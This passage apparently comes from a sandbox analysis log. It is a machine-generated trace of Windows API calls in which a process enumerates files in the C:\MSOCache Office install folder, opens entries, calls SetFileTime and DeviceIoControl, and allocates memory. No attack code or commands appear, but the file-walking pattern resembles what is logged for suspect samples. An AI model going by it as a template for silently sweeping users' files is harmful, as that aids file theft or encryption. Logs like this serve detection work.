ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0044.566] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0044.566] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0044.566] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0044.566] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0044.566] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="")) returned 1 [0044.566] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="")) returned 1 [0044.566] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0044.566] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0044.566] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0044.566] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0044.566] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0044.566] GetLastError () returned 0x12 [0044.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83c88) returned 1 [0044.566] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0044.567] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83b80) returned 1 [0044.567] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0044.567] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0044.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.567] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0044.588] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0044.588] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0044.588] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8de90 [0044.589] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8de90, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xf8de90, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0044.589] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8de90) returned 1 [0044.589] NtClose (Handle=0x180) returned 0x0 [0044.589] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.589] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0044.589] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0044.589] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0044.589] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.589] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83b80 [0044.589] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0a0 [0045.449] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.449] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0045.451] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.452] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.452] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.452] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.453] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.453] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83c88 [0045.453] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0045.454] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89be8 [0045.454] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8bfb0 [0045.456] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.456] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0045.458] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.459] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.461] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.462] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89c08 [0045.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8c0b8 [0045.462] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.464] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0045.464] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.464] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.465] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.465] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.465] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.465] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.465] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0045.466] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.467] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.467] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.469] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.469] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.470] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.472] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0045.474] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.474] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.475] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.477] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89c28 [0045.477] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8c1c0 [0045.477] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.478] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0045.478] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.478] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.479] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.479] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.479] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.480] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.480] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0045.481] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.482] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.483] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.484] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.485] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.487] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89c48 [0045.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8c2c8 [0045.488] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="")) returned 1 [0045.490] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.490] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.490] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.490] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.490] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89c68 [0045.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8c3d0 [0045.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.492] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="")) returned 1 [0045.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.495] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.496] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.511] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89c88 [0045.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8c4d8 [0045.512] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.512] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0045.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89ca8 [0045.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8c5e0 [0045.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0xf870d0 [0045.519] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf86470) returned 1 [0045.520] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.521] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0045.522] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.524] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.525] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.525] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.526] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.526] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.526] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0045.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.528] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.529] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0045.529] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.529] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89cc8 [0045.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8c6e8 [0045.531] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, 